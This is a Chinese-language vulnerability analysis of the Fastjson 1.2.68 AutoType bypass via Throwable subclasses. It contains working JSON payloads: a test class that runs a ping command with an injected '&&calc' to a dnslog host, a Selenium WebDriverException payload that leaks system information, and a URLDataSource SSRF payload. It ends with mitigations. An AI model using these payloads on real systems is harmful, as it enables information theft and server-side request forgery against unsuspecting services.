Fastjson 1.2.68
Gadget必须继承自 Throwable 异常类
该漏洞和以往的 AutoType Bypass不同,要求 Gadget必须继承自 Throwable 异常类,所以常见的 JNDI Gadget无法在此处使用,只能寻找在异常类中的构造方法、set方法、get方法、toString等方法内的敏感操作才会触发漏洞,由于异常类中很少使用高危函数,所以我目前还没有找到可以 RCE 的 Gadget,只找到了几个非 RCE 的 gadget~
Fastjson反序列化时,如果遇到@type指定的类为Throwable 的子类,会调用反序列化处理类ThrowableDeserializer:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java
而该漏洞的触发点就位于ThrowableDeserializer,下面跟进ThrowableDeserializer来查看一下其deserialze函数:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java
如上所示,当第二个字段的 key 也是 @type 的时候,则会取 value 当做类名做一次 checkAutoType 检测,在调用 ParserConfig#checkAutoType 时指定的第二个参数expectClass 为 Throwable.class 类对象,该参数通常情况下这个参数都是 null,而checkAutoType 一般有以下几种情况会通过校验:
本次的这个漏洞正是基于第四种,即指定了期望类的情况,在ParserConfig.AutoTypeCheck中判断了如果期望类不为空且反序列化目标类继承自期望类就会添加到缓存mapping并且返回这个class,我们可以借此来绕过AutoType的检测:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java
在ThrowableDeserializer中AutoType检测通过后就会开始实例化异常类对象:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java
如上所示,可以看到此处也会将 message 和cause传递给ThrowableDeserializer#createException处理,下面跟进createException函数查看其逻辑,在该函数中中,会依次按照以下顺序对构造方法进行实例化:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java
之后返回上一步,继续跟进deserialze函数的后续代码,可以看到在最后会为被实例化后的异常类装配属性:
在装配属性的过程中,会遍历otherValues ,并根据key去调用异常类的set 方法,此处的otherValue 即为当前 jsonobject 对象中除了@type、message、cause、stackTrace 以外的其他字段,例如@type的类是 java.lang.Exception,otherValues 的第一条是 "msg"=>"hello", 那么这里就会先去实例化 Exception 对象,再去调用 exception.setMsg("hello"),这里也是 set 触发的地方,而get方法的触发则是在 JSON 转 JSONObject 的时候被调用,不过在这里我们也可以通过$ref 字段借助JSONPath去访问get方法~
漏洞产生的原因分析完了,下面就是如何去寻找合适的 gadget 触发漏洞了,在这里先自我写一个存在问题的异常类,去验证一下问题的存在与否:
SimpleException.java
package com.FastJson1242;
import java.io.IOException;
public class SimpleException extends Exception {
private String domain;
public SimpleException() {
super();
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
SimpleTest.java
package com.FastJson1242;
import com.alibaba.fastjson.JSONObject;
public class SimpleTest {
public static void main(String[] args) {
String payload ="{\"@type\":\"java.lang.Exception\", " +
"\"@type\":\"com.FastJson1242.SimpleException\",\"domain\":\"urx30i.dnslog.cn&&calc\"}";
JSONObject.parseObject(payload);
}
}
之后运行SimpleTest.java做一个简易测试:
DNSLog回显:
这只是用来做测试的,在真实场景中很少有人会把执行命令的方法写进异常类~
漏洞的披露者找到了 selenium 的一个敏感信息泄露,selenium 一般用来操控浏览器进行爬虫,在很多基于浏览器操作的爬虫项目里都会使用到 selenium,如果同时也使用了fastjson ,就会存在敏感信息泄露的问题~
org.openqa.selenium.WebDriverException 会输出:主机IP、主机名、系统名、系统架构、操作系统版本、java版本、Selenium版本、webdriver驱动版本等等一系列信息,同时由于是异常类,父类的getStackTrace() 也会被调用,会输出当前方法栈信息,可从中看出使用了什么框架~
下载漏洞披露者提供的测试Demo并用IDEA打开进行部署:https://github.com/iSafeBlue/fastjson-autotype-bypass-demo
之后在浏览器中访问该项目:
之后随意留言,同时使用burpsuite抓包:
修改请求数据包为以下JSON Payload,之后重放请求来获取敏感信息:
{
"name":"Al1ex",
"email":"[email protected]",
"content":{"$ref":"$x.systemInformation"},
"x":{"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}
}
在浏览器页面回显:
在这里使用到了 $ref 字段来调用异常类对象的 getSystemInformation 方法并把值引用到 content 字段,所以留言内容输出的就是当前系统的敏感信息了~
除此之外其实还可以有其他用途,例如可以绕过类对象的访问,例如,某个异常类的get方法返回的对象类型是DataSource,这个类型肯定是不允许被反序列化的,但它在异常类中被传来的允许被反序列化的类对象构造成了一个DataSource对象,当再去调用get方法访问这个DataSource的时候,fastjson就管不着了,这种例子在apache abdera的一个异常类中出现过:
https://github.com/apache/abdera/blob/43fae3a0bb450895042bf0825f11fbf39832e830/server/src/main/java/org/apache/abdera/server/exceptions/AbderaServerException.java
下面为一个缩写版本,用于本次测试:
package com.FastJson1242;
import javax.activation.URLDataSource;
import javax.activation.DataSource;
import java.net.URL;
public class DataSourceException extends Exception {
public DataSourceException() {
}
private DataSource dataSource;
public DataSource getDataSource() {
return dataSource;
}
public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
}
在这个异常类中,setDataSource的参数是 URL 类型,在Fastjons中是允许被反序列化的,也就是说可以通过调用setDataSource方法,并且实例化URLDataSource对象,然后即可通过JSONPath的功能再去调用他的getDataSource().getInputStream(),这样就会触发 URL连接请求:
package com.FastJson1242;
import com.alibaba.fastjson.JSONObject;
public class SimpleTest {
public static void main(String[] args) {
String payload ="{\"@type\":\"java.lang.Exception\",\"@type\":\"com.FastJson1242.DataSourceException\"," +
"\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:1234\"}}";
JSONObject.parseObject(payload);
}
}
运行之后:
开启 safeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
添加黑名单
ParserConfig.getGlobalInstance().addDeny("org.openqa.selenium");